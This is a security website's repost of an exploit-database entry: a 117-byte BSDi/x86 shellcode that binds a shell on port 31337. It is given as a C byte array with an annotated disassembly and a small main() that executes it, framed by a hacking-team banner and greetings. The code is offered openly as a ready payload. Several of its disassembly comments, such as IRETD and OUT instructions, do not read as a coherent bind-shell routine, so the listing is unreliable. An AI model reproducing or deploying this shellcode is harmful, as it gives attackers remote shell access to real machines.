首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
BSDi/x86 - BindShell on 31337 port - Shellcode 117 Bytes
来源:ked-h@hotmail.com 作者:KedAns-Dz 发布时间:2011-05-19  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

#======[ Sh3lL C0d3 ]=========>

/*
###
# Title : BSDi/x86 - BindShell on 31337 port - Shellcode 117 Bytes
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Web Site : www.1337day.com * www.exploit-id.com * www.09exploit.com
# Twitter page : twitter.com/kedans
# platform : BSDi/x86
# Type : Shellcode
###
# (~) Greetings To : Caddy-Dz (+) JaGo-Dz (+) Dr.Ride (+) All My Friends
###
*/

const char shellcode[] =
// LPORT=31337, RHOST=127.0.0.1
"\xD9\xCF"             // |  FXCH ST(7)
"\xB8\x44\x05\x8C\x0D" // | MOV EAX,0D8C0544
"\xD9\x74\x24\xF4"     // | FSTENV (28-BYTE) PTR SS:[ESP-C]
"\x31\xC9"             // | XOR ECX,ECX
"\x5E"                 // | POP ESI
"\xB1\x17"             // | MOV CL,17
"\x31\x46\x19"         // | XOR DWORD PTR DS:[ESI+19],EAX
"\x03\x46\x19"         // | ADD EAX,DWORD PTR DS:[ESI+19]
"\x83\xEE\xFC"         // | SUB ESI,-4
"\xA6"                 // | CMPS BYTE PTR DS:[ESI],BYTE PTR ES:[EDI]
"\xF0\x05\xE8\x4E\xFB\x12" // | LOCK ADD EAX,12FB4EE8                   
"\xF3"                 // | PREFIX REP:                             
"\x4D"                 // | DEC EBP
"\x43"                 // | INC EBX
"\x86\xF3"             // | XCHG BL,DH
"\x51"                 // | PUSH ECX
"\xB4\x2E"             // | MOV AH,2E
"\xA3\xD8\x52\x61\x84" // | MOV DWORD PTR DS:[846152D8],EAX
"\x8A\xDA"             // | MOV BL,DL
"\xD2\x44\x7A\x6B"     // | ROL BYTE PTR DS:[EDX+EDI*2+6B],CL
"\xB3\xBB"             // | MOV BL,0BB
"\xAC"                 // | LODS BYTE PTR DS:[ESI]
"\xD9\x5C\x54\x52"     // | FSTP DWORD PTR SS:[ESP+EDX*2+52]
"\xA4"                 // | MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
"\xF5"                 // | CMC
"\xDD\xB1\x32\x16\x8D\x65"  // | FSAVE (108-BYTE) PTR DS:[ECX+658D1632]
"\xA9\x7E\x69\x7A\xFB"      // | TEST EAX,FB7A697E
"\xCF"                 // | IRETD
"\xE3\x7B"             // | JECXZ SHORT CM2.00402701
"\xD2\x69\xA6"         // | SHR BYTE PTR DS:[ECX-5A],CL
"\xD1\x8A\x39\x58\x2A\xFA"  // | ROR DWORD PTR DS:[EDX+FA2A5839],1
"\xAD"                 // | LODS DWORD PTR DS:[ESI]
"\x0F\xD6"             //
"\x5A"                 // |POP EDX
"\xB8\x95\x8E\x0D\x6B" // | MOV EAX,6B0D8E95
"\xD5\xF8"             // | AAD 0F8
"\xE7\xEA"             // | OUT 0EA,EAX  ;  I/O command
"\xDF\x54\x90\x23"     // | FIST WORD PTR DS:[EAX+EDX*4+23]
"\x0F\x27"             //                                 
"\x08\x54\x60\xA5"     // | OR BYTE PTR DS:[EAX-5B],DL
"\xA1\xCA\xF7\xCA\x62" // | MOV EAX,DWORD PTR DS:[62CAF7CA]
"\x47"                 // | INC EDI
"\x5B"                 // | POP EBX
"\xBC\xB8\x98\x8D";    // | MOV ESP,8D98B8

int main() {

    void (*hell)() = (void *)shellcode;
    return (*(int(*)())shellcode)();

}

/*
#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================================== 
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS > Islampard + Z4k1-X-EnG + Dr.Ride
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (www.1337day.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * eidelweiss * SeeMe * XroGuE * ZoRLu
# gunslinger_ * Sn!pEr.S!Te * anT!-Tr0J4n * ^Xecuti0N3r 'www.1337day.com/team' ++ .... * Str0ke
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * TreX (hotturks.org)
# JaGo-Dz (sec4ever.com) * CEO (0nto.me) * PaCketStorm Team (www.packetstormsecurity.org)
# www.metasploit.com * UE-Team (www.09exploit.com) * All Security and Exploits Webs ...
# -+-+-+-+-+-+-+-+-+-+-+-+={ Greetings to Friendly Teams : }=+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
# (D) HaCkerS-StreeT-Team (Z) | Inj3ct0r | Exploit-ID | UE-Team | PaCket.Storm.Sec TM | Sec4Ever
# h4x0re-Sec | Dz-Ghost | INDONESIAN CODER | HotTurks | IndiShell | D.N.A | DZ Team | Milw0rm
# Indian Cyber Army | MetaSploit | BaCk-TraCk | AutoSec.Tools | HighTech.Bridge SA | Team DoS-Dz
#================================================================================================

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Windows/32bit - Command Execut
·linux/x86 Command Exec (reboot
·SpongeBob SquarePants Typing B
·Rootage 1.0.0.4 Alpha Director
·Microsoft Windows Vista/Server
·Mac osX Browsers [FF + SF] ale
·Archos 5/Archos OS 2.0.45 Medi
·win32/xp sp3 Alphanumeric Shut
·Sonique 1.96 .m3u Buffer Overf
·7-Technologies IGSS <= v9.00.0
·Magix Musik Maker 16 .mmm Stac
·VisiWave VWR File Parsing Trus
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved